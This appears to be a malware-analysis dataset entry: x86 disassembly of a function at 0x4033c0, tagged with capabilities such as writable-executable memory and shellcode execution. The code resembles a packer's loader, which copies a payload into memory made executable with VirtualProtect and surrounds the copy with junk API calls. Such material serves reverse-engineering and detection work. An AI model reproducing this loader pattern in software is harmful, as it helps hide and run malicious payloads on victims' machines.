Function at 0x4033c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x24dc
call fcn.0040ac70
mov eax, dword [0x845080]
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x403440
xor ecx, ecx
xor eax, eax
mov word [esp + 0xe], cx
lea edx, [esp + 0xc]
push edx
mov word [esp + 0x10], ax
mov eax, dword [esp + 0x10]
push eax
push ecx
lea ecx, [esp + 0xf4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
call fcn.00403b1e
add esp, 4
push 0
call fcn.00403de4
add eax, 0x1134b
push eax
push 0
mov dword [0x845080], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x845080]
lea ecx, [esp + 0x34]
push ecx
push 0x40
push edx
push eax
mov dword [0x843fd4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x845080], esi
jbe 0x4034c4
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
mov eax, dword [0x845084]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x843fd4]
mov byte [edx + esi], cl
cmp dword [0x845080], 0xa8
jne 0x4034bb
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
lea eax, [esp + 0x38]
push eax
call edi
push 0
push 0
push 0
call ebx
inc esi
cmp esi, dword [0x845080]
jb 0x403483
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov edi, dword [sym.imp.KERNEL32.dll_FoldStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor eax, eax
mov dword [esp + 0xc], eax
mov ecx, dword [0x845080]
add ecx, eax
cmp ecx, 0xe
jne 0x4035a1
push 0
push 0
push 0x4026e0
call esi
push 0
lea edx, [esp + 0x18ec]
push edx
push 0
push 0
push 0
call edi
push 0x402724
call ebx
push 0
push 0
lea eax, [esp + 0x8f0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
lea ecx, [esp + 0xe8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
xor eax, eax
push eax
xor edx, edx
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov word [esp + 0x26], ax
lea eax, [esp + 0x10ec]
push eax
push edx
lea ecx, [esp + 0x20]
push ecx
push edx
push edx
mov word [esp + 0x2c], dx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
push 0
lea edx, [esp + 0x1cf0]
push edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x39621
mov dword [esp + 0xc], eax
jl 0x4034dc
call fcn.004032c0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov edi, edi
call edi
cmp esi, 0x26
jne 0x4035cc
call fcn.004033a0
inc esi
cmp esi, 0x6753f
jl 0x4035c0
mov esi, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov dword [esp + 0xc], 0x7b
nop
cmp dword [0x845080], 0x86
jne 0x40365b
push 0
push 0
call esi
push 0
push 0
call edi
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov word [esp + 0x32], ax
mov dword [esp + 0x16], eax
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov word [esp + 0x22], ax
xor edx, edx
lea eax, [esp + 0x14]
mov word [esp + 0x24], cx
push eax
lea ecx, [esp + 0x28]
mov word [esp + 0x18], dx
push ecx
lea edx, [esp + 0x40]
push edx
call ebx
push 0
lea eax, [esp + 0xec]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x845080], 0xf
jne 0x403671
push 0
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub dword [esp + 0xc], 1
jne 0x4035f0
push 0x402730
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret